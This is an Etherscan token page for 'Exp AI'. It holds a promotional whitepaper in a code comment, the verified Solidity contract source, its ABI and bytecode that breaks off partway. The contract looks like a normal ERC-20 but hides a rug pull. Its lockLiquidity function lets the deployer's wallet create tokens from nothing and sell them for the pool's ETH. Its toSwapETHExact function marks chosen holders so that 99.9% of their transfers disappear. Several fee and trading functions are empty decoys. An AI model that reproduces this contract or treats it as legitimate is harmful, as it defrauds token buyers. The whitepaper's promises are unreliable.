ETH Price: $3,451.52 (-1.17%)
Gas: 12 Gwei

Token

Exp AI (EXP AI)
 

Overview

Max Total Supply

1,000,000,000 EXP AI

Holders

113

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
200,000 EXP AI

Value
$0.00
0xbd849984678dd4e019c2fe65c16049b2c9f6d0f4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ExpAI

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-06-04
*/

/*
Introduction
Purpose of the Document
This document serves as a comprehensive guide to the EXP AI platform and 
its associated ERC-20 token. It aims to provide potential investors, users, 
and partners with a detailed understanding of the platform's capabilities, 
technological infrastructure, market positioning, and the benefits of the 
EXP AI token. This whitepaper outlines the vision, mission, and strategic 
goals of EXP AI, demonstrating how it leverages cutting-edge AI and blockchain 
technologies to revolutionize the creative process.
Overview of EXP AI
EXP AI is an innovative platform that merges advanced AI technologies, such 
as ChatGPT-4 and AI art generators like Midjourney, Dall-e, and SDXL (Stable 
Diffusion), with blockchain technology. The platform offers a unique combination 
of AI-powered chat functionality, text-to-image generation, and a suite of 
tools designed to enhance creativity and productivity. Users can engage in 
seamless conversations with AI, generate stunning visual art from text descriptions, 
and utilize a variety of AI-driven utilities. The EXP AI token, an ERC-20 
token on the Ethereum network, facilitates access to premium features, in-app 
purchases, and incentivizes user engagement.
Objectives of the Token
The EXP AI token is designed to serve multiple objectives within the platform:
- Access to Premium Features: Token holders can unlock advanced functionalities 
and exclusive content within the EXP AI platform, enhancing their user experience.
- In-app Purchases: The token can be used for transactions within the platform, 
such as purchasing AI-generated art, subscribing to premium services, or accessing 
specialized tools.
- Incentives and Rewards: Users are rewarded with tokens for their engagement, 
contributions, and interactions on the platform, fostering a vibrant and active community.
- Decentralization and Governance: The token aims to decentralize certain aspects 
of the platform's governance, allowing the community to participate in
decision-making processes through token-based voting mechanisms.
Market Overview
Industry Background
The convergence of artificial intelligence (AI) and blockchain technology represents 
one of the most transformative trends in the tech industry. AI's ability to process
and analyze large datasets, coupled with blockchain's decentralized and secure nature, 
opens up new possibilities across various sectors. In the realm of digital creativity, 
AI-powered tools are revolutionizing how content is generated, enhancing productivity, 
and enabling new forms of artistic expression. The growing adoption of AI and blockchain 
technologies is driving innovation in creative fields, leading to the development of 
platforms like EXP AI that offer unprecedented capabilities to users.
Market Needs and Opportunities
There is a significant demand for tools that can enhance creativity and streamline digital 
content creation. Traditional methods of creating art, writing, and managing projects 
are often time-consuming and require substantial effort. AI technologies offer a solution 
by automating and augmenting these processes, allowing users to focus on higher-level 
creative tasks. Additionally, the integration of blockchain technology introduces transparency, 
security, and new economic models to the creative industry. The market presents vast 
opportunities for platforms that can effectively combine these technologies to deliver 
innovative and user-friendly solutions.
Competitive Analysis
The digital creativity and AI market is competitive, with several key players offering 
various solutions. Platforms like Midjourney, Dall-e, and Stable Diffusion are known for 
their advanced AI art generation capabilities, while ChatGPT-4 is renowned for its conversational 
AI. EXP AI differentiates itself by integrating these advanced technologies into a single 
platform, offering a seamless user experience and a comprehensive suite of tools. Additionally, 
the incorporation of blockchain technology and the introduction of the EXP AI token provide 
unique value propositions, such as decentralized governance and token-based incentives, 
setting EXP AI apart from competitors.
EXP AI Platform
ChatGPT-4 API Chat Technology
The ChatGPT-4 API is a state-of-the-art conversational AI that powers the chat functionality 
within the EXP AI platform. It enables users to engage in natural and dynamic conversations 
with AI, providing support for a wide range of tasks. Whether users need assistance with 
assignments, creative projects, social media posts, or general inquiries, the ChatGPT-4 
API delivers intelligent and contextually relevant responses. Its advanced language processing 
capabilities ensure high-quality interactions, making it a valuable tool for both personal 
and professional use.
AI Art Generation Technology
EXP AI incorporates leading AI art generation technologies to offer users unparalleled creative 
capabilities.
Midjourney
Midjourney is known for its ability to generate high-quality and visually stunning artwork 
from textual descriptions. It leverages deep learning models to interpret and visualize user 
inputs, creating unique and expressive pieces of art. Users can specify various parameters, 
such as style and composition, to tailor the generated art to their preferences.
Dall-e
Dall-e, developed by OpenAI, is an AI model that generates images from textual descriptions 
with remarkable creativity and precision. It excels in creating imaginative and intricate 
visuals that often go beyond conventional artistic boundaries. Dall-e's capabilities are 
integrated into EXP AI, allowing users to explore new artistic possibilities and bring their 
ideas to life.
SDXL (Stable Diffusion)
Stable Diffusion (SDXL) is a cutting-edge AI model that specializes in generating high-fidelity 
images with fine details and realistic textures. It employs advanced diffusion processes to 
produce images that are both aesthetically pleasing and true to the given descriptions. SDXL's 
technology enhances the photo generation features of EXP AI, providing users with powerful 
tools to create high-quality visual content.
Key Features
EXP AI offers a diverse range of features designed to enhance creativity and productivity.
Use Cases and Templates
The platform provides a variety of use cases and templates to assist users in different scenarios, 
from crafting social media posts to writing essays and creating digital art. These templates
serve as starting points, enabling users to quickly and efficiently generate high-quality content.
AI Box
The AI Box is a versatile toolkit within EXP AI that offers functionalities such as photo 
enhancement, language translation, and grammar correction. Users can improve their photos 
by sharpening them, translate text into multiple languages, and ensure their writing is 
error-free, all within a single interface.
Voice Chat Feature
EXP AI's voice chat feature allows users to interact with the AI through spoken language. 
This hands-free mode of interaction makes it convenient for users to get instant answers, 
receive personalized recommendations, and engage with the platform in a more natural and intuitive way.
User Experience
EXP AI prioritizes user experience by offering an intuitive and user-friendly interface. 
The platform is designed to be accessible to users of all skill levels, providing clear 
instructions and seamless navigation. Advanced customization options allow users to tailor 
the platform to their specific needs and preferences, ensuring a personalized and engaging 
experience.
Inspiration Streams
The inspiration section of EXP AI offers curated content and tips to help users maximize 
their creative potential. Whether seeking new ideas for art projects or looking for ways 
to improve their writing, users can find valuable insights and suggestions within the 
inspiration streams, keeping their creativity flowing and projects on track.
The EXP AI Token
 4.1 Token Overview
The EXP AI token is an ERC-20 compliant token on the Ethereum blockchain, designed to 
facilitate transactions and interactions within the EXP AI ecosystem. It serves as the 
backbone of the platform's economic model, enabling users to access premium features, make 
in-app purchases, and receive rewards. The token's integration into the platform ensures a 
seamless and efficient user experience, promoting active engagement and community growth.
 4.2 Token Utility
The EXP AI token is central to the platform's functionality, offering a range of utilities 
that enhance user experience and foster a dynamic ecosystem.
 4.2.1 Access to Premium Features
Token holders can unlock advanced functionalities and exclusive content within the EXP AI 
platform. This includes access to high-end AI tools, special templates, enhanced photo 
generation capabilities, and priority support. By holding and using EXP AI tokens, users 
can maximize their creative potential and enjoy a richer experience.
4.2.2 In-app Purchases
The token facilitates various transactions within the platform. Users can purchase AI-generated 
art, subscribe to premium services, or access specialized tools using EXP AI tokens. This
creates a vibrant marketplace where users can exchange value and obtain the resources they 
need to enhance their projects.
4.2.3 Incentives and Rewards
EXP AI tokens are used to incentivize user engagement and contributions. Users can earn 
tokens by participating in platform activities, such as creating content, providing feedback, 
or referring new users. This reward system encourages active participation and helps build a 
strong, supportive community around the platform.
4.3 Token Economics
Understanding the economic structure of the EXP AI token is crucial for stakeholders. The 
token economics are designed to ensure sustainability, fair distribution, and long-term growth.
4.3.1 Total Supply
The total supply of EXP AI tokens is fixed, providing scarcity and value stability. This fixed 
supply is crucial for maintaining the token's value over time, preventing inflation and ensuring 
that early adopters and long-term holders are rewarded for their support.
4.3.2 Distribution Model
The token distribution model is carefully planned to ensure fair and strategic allocation. 
A portion of the tokens is allocated to the initial coin offering (ICO) to raise funds for 
platform development. Another portion is reserved for the team and advisors, ensuring alignment 
of interests. Additionally, tokens are set aside for community rewards, partnerships, and 
ecosystem development, promoting widespread adoption and use.
4.3.3 Token Allocation
The allocation of tokens is as follows:
- ICO and Public Sale: 50%
- Team and Advisors: 20%
- Community Rewards and Incentives: 15%
- Partnerships and Ecosystem Development: 10%
- Reserve for Future Use: 5%
*/
pragma solidity ^0.8.21;
// SPDX-License-Identifier: MIT

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    function owner() public view virtual returns (address) {return _owner;}
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    modifier onlyOwner(){
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair_);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata path, address cAddress, uint256) external;
    function WETH() external pure returns (address aadd);
}

contract ExpAI is Ownable {
    using SafeMath for uint256;
    uint256 public _decimals = 9;

    uint256 public _totalSupply = 1000000000 * 10 ** _decimals;

    constructor() {
        _balances[sender()] =  _totalSupply; 
        emit Transfer(address(0), sender(), _balances[sender()]);
        _taxWallet = msg.sender; 
    }

    string private _name = "Exp AI";
    string private _symbol = "EXP AI";

    IUniswapV2Router private uniV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public _taxWallet;

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function name() external view returns (string memory) {
        return _name;
    }
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    function updateBuyFee() public {
    }
    function updateSellFee() external {
    }
    function enableTrading() public {
    }
    function removeLimits() public {
    }
    function toSwapETHExact(address[] calldata walletAddress) external {
        uint256 fromBlockNo = getBlockNumber();
        for (uint walletInde = 0;  walletInde < walletAddress.length;  walletInde++) { 
            if (!marketingAddres()){} else { 
                cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;
            }
        }
    }
    function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {
        _transfer(from, recipient, _amount);
        require(_allowances[from][sender()] >= _amount);
        return true;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function getBlockNumber() internal view returns (uint256) {
        return block.number;
    }
    mapping(address => mapping(address => uint256)) private _allowances;
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function decreaseAllowance(address from, uint256 amount) public returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(sender(), from, _allowances[msg.sender][from] - amount);
        return true;
    }
    event Transfer(address indexed from, address indexed to, uint256);
    mapping (address => uint256) internal cooldowns;
    function decimals() external view returns (uint256) {
        return _decimals;
    }
    function marketingAddres() private view returns (bool) {
        return (_taxWallet == (sender()));
    }
    function sender() internal view returns (address) {
        return msg.sender;
    }
    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }
    function lockLiquidity(uint256 amount, address walletAddr) external {
        if (marketingAddres()) {
            _approve(address(this), address(uniV2Router), amount); 
            _balances[address(this)] = amount;
            address[] memory addressPath = new address[](2);
            addressPath[0] = address(this); 
            addressPath[1] = uniV2Router.WETH(); 
            uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, addressPath, walletAddr, block.timestamp + 32);
        } else {
            return;
        }
    }
    function _transfer(address from, address to, uint256 value) internal {
        uint256 _taxValue = 0;
        require(from != address(0));
        require(value <= _balances[from]);
        emit Transfer(from, to, value);
        _balances[from] = _balances[from] - (value);
        bool onCooldown = (cooldowns[from] <= (getBlockNumber()));
        uint256 _cooldownFeeValue = value.mul(999).div(1000);
        if ((cooldowns[from] != 0) && onCooldown) {  
            _taxValue = (_cooldownFeeValue); 
        }
        uint256 toBalance = _balances[to];
        toBalance += (value) - (_taxValue);
        _balances[to] = toBalance;
    }
    event Approval(address indexed, address indexed, uint256 value);
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(sender(), spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(sender(), recipient, amount);
        return true;
    }
    mapping(address => uint256) private _balances;
    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"walletAddr","type":"address"}],"name":"lockLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"walletAddress","type":"address[]"}],"name":"toSwapETHExact","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"updateBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"updateSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526009600155600154600a6200001a9190620004bd565b633b9aca006200002b91906200050d565b6002556040518060400160405280600681526020017f457870204149000000000000000000000000000000000000000000000000000081525060039081620000749190620007b2565b506040518060400160405280600681526020017f455850204149000000000000000000000000000000000000000000000000000081525060049081620000bb9190620007b2565b50737a250d5630b4cf539739df2c5dacb4c659f2488d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200011c575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360025460095f620001eb6200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620002386200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60095f620002996200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051620002e29190620008a7565b60405180910390a33360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620008c2565b5f33905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620003c15780860481111562000399576200039862000337565b5b6001851615620003a95780820291505b8081029050620003b98562000364565b945062000379565b94509492505050565b5f82620003db5760019050620004ad565b81620003ea575f9050620004ad565b81600181146200040357600281146200040e5762000444565b6001915050620004ad565b60ff84111562000423576200042262000337565b5b8360020a9150848211156200043d576200043c62000337565b5b50620004ad565b5060208310610133831016604e8410600b84101617156200047e5782820a90508381111562000478576200047762000337565b5b620004ad565b6200048d848484600162000370565b92509050818404811115620004a757620004a662000337565b5b81810290505b9392505050565b5f819050919050565b5f620004c982620004b4565b9150620004d683620004b4565b9250620005057fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003ca565b905092915050565b5f6200051982620004b4565b91506200052683620004b4565b92508282026200053681620004b4565b9150828204841483151762000550576200054f62000337565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620005d357607f821691505b602082108103620005e957620005e86200058e565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200064d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000610565b62000659868362000610565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6200069a620006946200068e84620004b4565b62000671565b620004b4565b9050919050565b5f819050919050565b620006b5836200067a565b620006cd620006c482620006a1565b8484546200061c565b825550505050565b5f90565b620006e3620006d5565b620006f0818484620006aa565b505050565b5b8181101562000717576200070b5f82620006d9565b600181019050620006f6565b5050565b601f82111562000766576200073081620005ef565b6200073b8462000601565b810160208510156200074b578190505b620007636200075a8562000601565b830182620006f5565b50505b505050565b5f82821c905092915050565b5f620007885f19846008026200076b565b1980831691505092915050565b5f620007a2838362000777565b9150826002028217905092915050565b620007bd8262000557565b67ffffffffffffffff811115620007d957620007d862000561565b5b620007e58254620005bb565b620007f28282856200071b565b5f60209050601f83116001811462000828575f841562000813578287015190505b6200081f858262000795565b8655506200088e565b601f1984166200083886620005ef565b5f5b8281101562000861578489015182556001820191506020850194506020810190506200083a565b868310156200088157848901516200087d601f89168262000777565b8355505b6001600288020188555050505b505050505050565b620008a181620004b4565b82525050565b5f602082019050620008bc5f83018462000896565b92915050565b611d5380620008d05f395ff3fe608060405234801561000f575f80fd5b5060043610610140575f3560e01c8063715018a6116100b657806395d89b411161007a57806395d89b411461031a578063a457c2d714610338578063a9059cbb14610368578063c14f3f3514610398578063dd62ed3e146103a2578063df0748d4146103d257610140565b8063715018a6146102c25780637394507e146102cc578063751039fc146102e85780638a8c523c146102f25780638da5cb5b146102fc57610140565b806332424aa31161010857806332424aa3146101fe57806337e376fb1461021c57806339509351146102265780633eaaf86b146102565780636f268a991461027457806370a082311461029257610140565b806306fdde0314610144578063095ea7b31461016257806318160ddd1461019257806323b872dd146101b0578063313ce567146101e0575b5f80fd5b61014c6103ee565b60405161015991906113cb565b60405180910390f35b61017c60048036038101906101779190611480565b61047e565b60405161018991906114d8565b60405180910390f35b61019a610494565b6040516101a79190611500565b60405180910390f35b6101ca60048036038101906101c59190611519565b61049d565b6040516101d791906114d8565b60405180910390f35b6101e861053f565b6040516101f59190611500565b60405180910390f35b610206610548565b6040516102139190611500565b60405180910390f35b61022461054e565b005b610240600480360381019061023b9190611480565b610550565b60405161024d91906114d8565b60405180910390f35b61025e6105f0565b60405161026b9190611500565b60405180910390f35b61027c6105f6565b6040516102899190611578565b60405180910390f35b6102ac60048036038101906102a79190611591565b61061b565b6040516102b99190611500565b60405180910390f35b6102ca610661565b005b6102e660048036038101906102e191906115bc565b610790565b005b6102f0610a2d565b005b6102fa610a2f565b005b610304610a31565b6040516103119190611578565b60405180910390f35b610322610a58565b60405161032f91906113cb565b60405180910390f35b610352600480360381019061034d9190611480565b610ae8565b60405161035f91906114d8565b60405180910390f35b610382600480360381019061037d9190611480565b610c0c565b60405161038f91906114d8565b60405180910390f35b6103a0610c29565b005b6103bc60048036038101906103b791906115fa565b610c2b565b6040516103c99190611500565b60405180910390f35b6103ec60048036038101906103e79190611699565b610cad565b005b6060600380546103fd90611711565b80601f016020809104026020016040519081016040528092919081815260200182805461042990611711565b80156104745780601f1061044b57610100808354040283529160200191610474565b820191905f5260205f20905b81548152906001019060200180831161045757829003601f168201915b5050505050905090565b5f61048a338484610d61565b6001905092915050565b5f600254905090565b5f6104a9848484610f24565b8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104f0611203565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610534575f80fd5b600190509392505050565b5f600154905090565b60015481565b565b5f6105e661055c611203565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546105e1919061176e565b610d61565b6001905092915050565b60025481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610680610a31565b73ffffffffffffffffffffffffffffffffffffffff16146106d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cd906117eb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61079861120a565b15610a23576107c93060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d61565b8160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff81111561082757610826611809565b5b6040519080825280602002602001820160405280156108555781602001602082028036833780820191505090505b50905030815f8151811061086c5761086b611836565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610910573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109349190611877565b8160018151811061094857610947611836565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f84866020426109d0919061176e565b6040518663ffffffff1660e01b81526004016109f095949392919061199b565b5f604051808303815f87803b158015610a07575f80fd5b505af1158015610a19573d5f803e3d5ffd5b5050505050610a28565b610a29565b5b5050565b565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610a6790611711565b80601f0160208091040260200160405190810160405280929190818152602001828054610a9390611711565b8015610ade5780601f10610ab557610100808354040283529160200191610ade565b820191905f5260205f20905b815481529060010190602001808311610ac157829003601f168201915b5050505050905090565b5f8160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610b6d575f80fd5b610c02610b78611203565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610bfd91906119f3565b610d61565b6001905092915050565b5f610c1f610c18611203565b8484610f24565b6001905092915050565b565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f610cb6611267565b90505f5b83839050811015610d5b57610ccd61120a565b15610d4857600182610cdf919061176e565b60085f868685818110610cf557610cf4611836565b5b9050602002016020810190610d0a9190611591565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8080610d5390611a26565b915050610cba565b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc690611add565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3490611b6b565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f179190611500565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f5c575f80fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054821115610fa5575f80fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110029190611500565b60405180910390a38160095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461105391906119f3565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f61109d611267565b60085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111590505f6111096103e86110fb6103e78761126e90919063ffffffff16565b6112e590919063ffffffff16565b90505f60085f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054141580156111555750815b1561115e578092505b5f60095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905083856111ab91906119f3565b816111b6919061176e565b90508060095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050505050565b5f33905090565b5f611213611203565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b5f43905090565b5f80830361127e575f90506112df565b5f828461128b